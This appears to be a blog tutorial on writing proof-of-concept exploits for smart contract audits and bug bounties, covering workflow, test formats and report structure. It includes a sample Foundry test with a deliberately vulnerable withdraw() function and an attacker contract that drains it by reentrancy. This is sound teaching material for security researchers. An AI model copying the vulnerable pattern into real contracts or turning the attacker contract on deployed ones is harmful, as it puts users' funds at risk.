How to Write a PoC as a Smart Contract Security Researcher
quality 7/10 · good
0 net
Tags
How to Write a PoC as a Smart Contract Security Researcher | by Abraham - Freedium
Milestone: 20GB Reached
We’ve reached 20GB of stored data — thank you for helping us grow!
Patreon
Ko-fi
Liberapay
Close
< Go to the original
How to Write a PoC as a Smart Contract Security Researcher
In smart contract security, finding a bug is only half the job. The other half and often the part that determines whether your finding is…
Abraham
Follow
~6 min read
·
March 24, 2026 (Updated: March 24, 2026)
·
Free: Yes
In smart contract security, finding a bug is only half the job . The other half and often the part that determines whether your finding is taken seriously is proving it.
That proof is your PoC (Proof of Concept) .
A vague description like "this function may be vulnerable to reentrancy" is weak. A clear, reproducible PoC that drains funds or breaks invariants is powerful. It shows:
The bug is real
The exploit is practical
The impact is measurable
If you want to win audit contests, get paid in bug bounties, or build credibility as a researcher, writing strong PoCs is non negotiable.
This guide will teach you exactly how to do that.
What is a PoC in Smart Contract Security?
A Proof of Concept (PoC) is a reproducible demonstration that a vulnerability can be exploited in practice .
It is not just an explanation it is evidence .
Let's break down related concepts:
Vulnerability description
Explains what's wrong in the code
Example: "State update occurs after external call."
Attack scenario
Describes how it could be exploited
Example: "An attacker can reenter before balance is updated."
PoC
Shows it actually works
Example: A test or script that drains funds via reentrancy
Exploit
A production grade version used in the wild (often optimized, stealthy)
👉 A PoC sits between theory and real-world exploitation.
It proves the bug is real, reproducible, and impactful .
Why PoCs Matter for Security Researchers
PoCs are your credibility layer .
In Bug Bounty Submissions
Strong PoC = higher likelihood of payout
Reduces back and forth with triagers
Shows real impact, not speculation
In Audit Reports
Helps clients understand risk quickly
Makes findings actionable
Avoids "theoretical" classification
In Competitive Audit Contests
Judges prioritize clear, reproducible exploits
A good PoC can win ties between similar findings
Weak PoCs often get downgraded
In Internal Security Reviews
Engineers can reproduce and fix faster
Eliminates ambiguity
In Client Communication
Builds trust
Demonstrates professionalism
👉 A strong PoC answers the reviewer's main question :
"Can this actually be exploited?"
When Do You Need a PoC?
Absolutely Necessary
Reentrancy
Fund theft
Access control bypass
Oracle manipulation
Liquidation exploits
Accounting inconsistencies
Highly Recommended
Griefing attacks
Denial of Service (DoS)
Precision/rounding bugs
Edge case logic flaws
Optional (but still useful)
Gas inefficiencies
Minor design issues
Informational findings
Examples
If impact is unclear, write a PoC.
Core Qualities of a Strong PoC
A high-quality PoC should be:
1. Minimal
Only include necessary code
Avoid noise
Easier to review
2. Reproducible
Anyone can run it and see the issue
No hidden assumptions
3. Deterministic
Same result every time
No randomness or flaky state
4. Realistic
Reflects real-world conditions
Avoids impossible assumptions
5. Easy to Run
One command (e.g. forge test )
No complex setup
6. Measurable
Shows clear impact:
balance changes
state corruption
invariant violation
7. Focused
Demonstrates one root cause
No mixing multiple bugs
A reviewer should understand your PoC in under 2 minutes.
Step by Step: How to Write a PoC
This is the core workflow.
Step 1: Understand the Vulnerability Deeply
Don't rush into coding.
Ask:
What invariant is broken?
What assumptions fail?
Mistake: Writing a PoC before fully understanding the bug.
Step 2: Identify the Root Cause
Pinpoint the exact issue:
Missing check?
Incorrect order of operations?
Trust assumption?
Your PoC should target the root cause not symptoms.
Step 3: Define the Attack Path
Write the attack flow:
Initial state
Attacker action
Vulnerable execution
Resulting damage
Step 4: Set Up the Initial State
Recreate the exact conditions needed:
Token balances
Contract state
Permissions
Tip: Use helpers like deal , prank , warp (Foundry)
Step 5: Choose the Right Testing Framework
Foundry (preferred for speed + simplicity)
Hardhat (JS ecosystem)
Fork tests (for real world state)
Step 6: Write the Smallest Possible Reproduction
Strip everything unnecessary.
Bad:
500 line test with multiple contracts
Good:
30 — 80 lines focused on the bug
Step 7: Trigger the Bug
Execute the exact exploit path:
Call vulnerable function
Use attacker contract if needed
Step 8: Assert the Bad Outcome
This is critical.
Examples: assertEq(attacker.balance, expectedDrain);
assertGt(attackerProfit, 0);
assertTrue(invariantBroken);
If you don't assert impact, your PoC is weak.
Step 9: Compare Expected vs Actual Behavior
Show:
What should happen
What actually happens
Step 10: Clean Up the PoC
Before submission:
Rename variables clearly
Add comments
Remove debug logs
Write for a skeptical reviewer , not yourself.
Choosing the Right PoC Format
Foundry Tests (Recommended)
Pros:
Fast
Simple
Built in cheatcodes
Best for:
Most vulnerabilities
Contest submissions
Hardhat Tests
Pros:
JS flexibility
Good for integrations
Best for:
Complex setups
Frontend interactions
Solidity Attacker Contracts
Pros:
Realistic exploit simulation
Best for:
Reentrancy
Callback based attacks
Fork Tests
Pros:
Real protocol state
Best for:
Oracle manipulation
MEV scenarios
Local Mock Setups
Pros:
Fully controlled
Best for:
Unit level bugs
Anatomy of a Smart Contract PoC
A strong PoC typically includes:
Setup
Deploy contracts
Initialize state
2. Initial Conditions
Fund contracts
Assign roles
3. Attacker Actions
Call exploit functions
4. Exploit Trigger
Vulnerable execution point
5. Assertions
Validate impact
6. Evidence
Balance changes
Broken invariants
7. Comments
Explain key steps
Example PoC Outline (Reentrancy)
Vulnerability Summary
A contract updates user balance after sending ETH.
Attack Flow
Attacker deposits ETH
Calls withdraw()
Reenters before balance update
Drains contract
Sample Foundry PoC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
contract Vulnerable {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Vulnerable: external call before state update
(bool success,) = msg.sender.call{value: amount}("");
require(success);
balances[msg.sender] = 0;
}
}
contract Attacker {
Vulnerable target;
constructor(address _target) {
target = Vulnerable(_target);
}
receive() external payable {
if (address(target).balance >= 1 ether) {
target.withdraw(); // reenter
}
}
function attack() external payable {
target.deposit{value: 1 ether}();
target.withdraw();
}
}
contract ReentrancyTest is Test {
Vulnerable target;
Attacker attacker;
function setUp() public {
target = new Vulnerable();
attacker = new Attacker(address(target));
// Fund contracts
vm.deal(address(attacker), 1 ether);
vm.deal(address(target), 10 ether);
}
function testReentrancyDrain() public {
vm.prank(address(attacker));
attacker.attack{value: 1 ether}();
// Assert attacker drained funds
assertGt(address(attacker).balance, 1 ether);
}
}
What This PoC Demonstrates
Real exploit path
Recursive reentrancy
Measurable financial impact
How to Write the Written Report Around the PoC
A strong report structure:
Title
Clear and specific
"Reentrancy in withdraw() allows draining of funds"
Summary
Brief explanation of the issue
Affected Components
Contract
Function
Root Cause
Explain why it happens
Preconditions
Required state
Assumptions
Steps to Reproduce
Numbered and clear
PoC Code
Include your test
Impact
Funds lost
Protocol breakage
Expected vs Actual
Expected: safe withdrawal
Actual: repeated draining
Remediation
Checks Effects-Interactions
Reentrancy guard
Common Mistakes Researchers Make
Writing theory without proof
Using unrealistic assumptions
Overcomplicating the PoC
Not asserting impact
Only proving a revert (not an exploit)
Mixing multiple bugs in one test
Using flaky environments
Not explaining setup conditions
If a reviewer has to guess anything, your PoC is weak.
Tips to Make Your PoC Stand Out
Use clear test names
testDrainFundsViaReentrancy()
Keep code short and readable
Add strategic comments , not noise
Assert exact values: assertEq(balanceAfter, balanceBefore + stolenAmount);
Make it runnable in one command
Assume the reviewer is skeptical
Optimize for clarity over cleverness
Final Thoughts
A PoC is not just code.
It is proof .
The best smart contract security researchers:
Think in terms of state transitions
Focus on root causes
Prove real impact
Communicate with clarity and precision
Anyone can point out a potential issue.
Very few can prove it convincingly .
That's what separates average researchers from top tier ones.
PoC Submission Checklist
Before submitting your PoC, verify:
The vulnerability is clearly understood
The PoC is minimal and focused
The setup is fully reproducible
The exploit path is clearly triggered
The impact is explicitly asserted
No unnecessary complexity is included
The test runs in one command ( forge test )
Assumptions are clearly stated
Expected vs actual behavior is explained
Code is readable and well commented
Master this skill, and you'll dramatically increase your success rate in audits, contests, and bug bounties.
#cybersecurity #blockchain #bug-bounty #smart-contracts #proof-of-concept
Reporting a Problem
Sometimes we have problems displaying some Medium posts.
If you have a problem that some images aren't loading - try using VPN. Probably you have problem with
access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).